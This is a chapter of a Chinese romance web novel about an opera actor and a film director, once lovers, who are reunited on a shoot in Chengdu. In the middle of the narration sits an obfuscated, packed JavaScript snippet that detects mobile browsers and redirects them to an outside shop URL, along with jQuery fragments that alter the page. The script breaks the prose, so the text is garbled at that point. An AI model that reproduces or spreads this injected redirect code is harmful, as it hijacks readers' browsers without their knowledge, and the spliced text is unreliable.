李霄川从化妆棉盒里哗地抽出三片，叠在一起，蘸饱了卸妆水就往脸上擦。棉片蹭过脸颊，立刻拖出一道红痕。


    “那请陈导明示，刚才的情绪到底是哪里过分了？”


    卸妆棉狠狠抹过眉骨，李霄川的声音已经恢复了平静：“是要我收着点悲愤？还是……再克制些？再专业些？”


    一连串的问句砸过来，陈声和几乎站不稳，手向后一撑，抵住了化妆台。


    棉片又蹭到下巴，红油彩晕开一片。


    李霄川手腕一甩，那抹红直接蹭上了陈声和的衬衫上，和刚才的血珠子混在一起，在雪白的布料上晕开一片。


    陈声和上前几步，一把攥住他的手腕：“……别擦了。”


    李霄川动作停住，抬眼看他。


    碰到皮肤的刹那，陈声和才察觉，李霄川的手腕在微微发抖。接触不良的那个灯泡一闪一闪间，他看见对方下巴已经被搓得通红，几乎快要破皮。


    陈声和心里揪得发疼，可话到嘴边只剩一句：“……再擦真要破皮了。”


    李霄川扯了扯嘴角，笑得有点刺人：“陈导这是在关心我？”


    陈声和松了手，向后退了半步：“……只是不想影响明天拍摄。”


    “对。”李霄川把沾满红渍的卸妆棉捏成一团，嗖地扔进垃圾桶，“陈导说得对，工作最重要。”


    就在这时，门外走廊传来脚步声，由远及近。


    “陈导，”林瑶的声音隔着门响起，“文化厅的人到了，说要见您和李老师！”


    陈声和看见李霄川的肩膀微微地僵了一下。


    可下一秒，那人脸上已经挂起无可挑剔的微笑，连声音都调到刚刚好的热情：“好的，马上来。”


    他对着镜子最后整了整衣领，转身时甚至还微微躬身，比了个标准的手势：“陈导先请？”


    仿佛刚才那个失控到差点搓破自己脸的人，从未存在过。


    陈声和沉默地跟上去，垂在身侧的手慢慢握紧。指甲掐进掌心的疼是清晰的，却远远比不上胸口那闷着的刺痛。


    ……


    国庆假期的成都，春熙路的人潮挤得怕是连熊猫见了都要说一句：“老子还是回山里头啃竹子算咯！”


    李霄川坐在塑料凳上，凳腿因为地面不平而微微摇晃，面前摆着一盘冷吃兔和半打红乌苏，铝罐上凝着水珠，在闷热的夜里慢慢往下滑。


    这家路边摊开在大学后门的老街上，招牌的霓虹灯管坏了一半，张记夜宵四个字只剩下张记还亮着，另一半在黑暗里沉默地褪色。


    但老板还记得他，油锅腾起的白雾后面，那张脸探出来，眯着眼认了认，忽然笑了。


    “哎哟，李娃儿？”老板把油渍斑斑的围裙卷起来擦了擦手，小跑着凑近，“好久没看到你了！还是老规矩？多放辣椒，少放花椒？”


    李霄川的嘴角动了动，像是想笑，但最后只低低“嗯”了一声。


    老板转身去灶台前翻炒，铁勺刮过锅底的声响混杂着街边游客的喧闹。


    他一边颠勺一边回头搭话：“你那个广东小朋友呢？以前每次来，他都要被辣得眼泪汪汪的，你还非骗他说这次真的不辣，结果人家一口下去，耳朵尖都红了……”


    李霄川的手指颤了一下，啤酒瓶栽倒，冰凉的酒液从裂缝渗出来，顺着他的虎口往下淌。


    老板没注意，乐呵呵地端上一盘红油抄手：“送你们的！皮特意擀薄了，以前那小朋友最爱吃这个，总夸我们家的皮比别处薄。”


    “他不在了。”李霄川打断他。


    老板举着碗的手顿在半空：“啊？”


    “回广东了。”李霄川低头掰开一次性筷子，劣质木材的毛刺扎进指腹，他却像感觉不到疼，“……五年前的事。”


    老板张了张嘴，把到嗓子眼的那句“请节哀”咽下去，显然意识到自己会错了意，讪讪地把抄手推到他面前：“趁、趁热吃。”


    李霄川盯着那盘抄手。浮在红油上的葱花被热气微微掀起，香味扑上来，和记忆里没什么区别。


    以前陈声和总嫌辣，筷子尖先小心翼翼地在清汤里涮一圈，红油被稀释成淡粉色才敢入口。


    李霄川就故意抢走他涮好的那只，当着他的面一口吞下，辣得舌尖发麻还要嘴硬：“小广仔，你这叫暴殄天物。”


    陈声和气得用潮汕话嘟囔，睫毛上还沾着被辣出来的泪花，最后却总被一颗裹了黄豆粉的冰糖糍粑哄得没了脾气。


    现在这盘抄手就摆在面前，红油亮得刺眼。却没有人会再涮了，也没有人会因为被抢了食物而小声抗议。


    李霄川夹起一只，直接送进嘴里。滚烫的馅料裹着辣油灼过舌尖，呛得他鼻腔发酸。他赶紧仰头灌了半罐啤酒，冰凉的液体顺着喉咙冲下去，才把那莫名窜上来的情绪给压了回去。


    这时候手机在裤兜里震了几下。


    他掏出来一看，是谢满悦发来的消息：【师兄，明天早功还练吗？省文化厅的说要带几个领导来看排练】


    李霄川回了个“嗯”，锁屏时界面一闪而过，是今天在化妆间捡到的那张照片，撕碎的边缘被透明胶草草黏合，两个人的笑脸中间横亘着歪歪扭扭的裂痕。


    李霄川盯着漆黑的屏幕看了一眼，抬手喊：“老板，再拿两瓶酒。”


    街对面，一群游客举着熊猫气球有说有笑地走过。霓虹灯的光晕开在湿漉漉的马路面上，像被水化开的胭脂。


    这边陈声和回到酒店房间，已经是凌晨两点多了。


    走廊的感应灯随着他的脚步声亮起又熄灭。刷卡进门时，门把手上挂着的外卖袋，是林瑶给他点的宵夜，已经凉透了。


    他坐在酒店书桌前，笔记本电脑的荧光映在他苍白的脸上。桌上散落着几包拆开的速溶咖啡，最边上那杯喝了一半，表面结了一层薄薄的膜。


    屏幕上反复播放着同一段素材——李霄川哭坟的那场戏。


    拍摄那天他就站在摄像机旁边，隔着镜头看那人跪在戏台正中央。水袖甩出去又收回来，像个想要抓住什么却总是落空的手。


    “……要相逢除非是梦里团圆……”


    唱腔凄厉，镜头推进到李霄川的特写时，陈声和按下暂停，手指悬在键盘上，微微发抖。


    画面定格在那双眼睛上，再浓的油彩也盖不住眼底的红血丝。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005867|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是这里。


    他调出音频轨道，把音量拉到最大。耳机里锣鼓喧天，而在某个转调的缝隙里，有个几乎听不见的气音：“阿和……”


    是潮汕话的发音，轻得就像叹了一声，没人会留意。那是李霄川当年跟他学的，总是把第二声念得太重，听着像在撒娇。


    陈声和的呼吸停滞了一瞬，他拖动进度条，又听了一遍。


    再一遍。


    听到第十遍，他终于把这几秒钟的音频剪出来，导进手机。


    系统弹出提示问要不要存进加密文件夹时，他的拇指在屏幕上悬了半天，最后还是点了确定。


    文件夹名称：【chuan2020-2024】


    里面已经存了几百多份文件，按日期整齐排列。


    有李霄川这五年所有的公开演出视频，每场都仔细标了扮相和唱段；有采访报道的PDF，重点地方还用黄色高亮标出；甚至还有微博点赞过的美食攻略，截图边缘能看见李霄川账号那个小熊猫头像。


    最新添加的音频排在最后面。


    陈声和盯着那个小小的波形图，只觉得胸口发闷。他习惯性地想去摸烟，却想起自己早就戒了。


    他起身走到窗前，推开窗户。成都的夜风裹着火锅店的味道涌进来，远处霓虹灯牌闪烁，川剧院几个字在夜色中十分醒目。


    手机突然震动，他点开，是母亲发来的语音：“阿和，你和黄伯伯女儿联系没有啊？我都答应人家这周末……”


    陈声和没听完就按灭了屏幕。


    语音转文字的后半截还显示在通知栏：【……你都二十六了，还要等到什么时候】


    书桌上还摊着明天的拍摄计划，他强迫自己坐回去，拿起红笔修改流程，却在纸张边缘写了好几个川字。


    墨水慢慢晕开来，反应过来自己在做什么，陈声和猛地合上文件夹，起身时太猛，膝盖撞到了桌角，这疼痛反而让他清醒了几分。


    浴室镜子里的人眼眶发红，水珠顺着下巴滴落，和监视器里李霄川哭花妆的样子没什么区别。


    他伸手抹了把脸，才发现自己用的是左手，腕骨上那道浅疤正对着镜子。


    耳边仿佛又响起那个带着椒盐味的声音，温热的气息拂过耳廓：“幺儿不难过咯……”


    李霄川总爱在他情绪低落时这样做，潮热的呼吸扑在敏感的肌肤上，用唇轻轻描绘这块伤疤，像是要用亲吻熨平所有伤痛。


    潮汕人讲究食补，可李霄川偏说他的吻才是广仔最好的药。


    镜面上的水汽模糊了视线，陈声和恍惚看见镜中浮现出另一个身影。那人穿着练功服，下巴搁在他肩上，从背后环抱住他。


    记忆中的触感太过真实，他甚至能感受到李霄川说话时胸腔的震动：“我的幺儿，得宠着惯着哄着。”


    那时，杨知夏总爱打趣，说李霄川这口气，不晓得是养了个娃儿，还是讨了个媳妇儿。


    陈声和每回都听得耳根发烫，只好假装忙着手上的事。


    李霄川却浑不在意，胳膊一伸就将他搂紧，理直气壮地笑道：“你不懂，爱一个人，不就是把他当小娃儿一样宠回来噻？”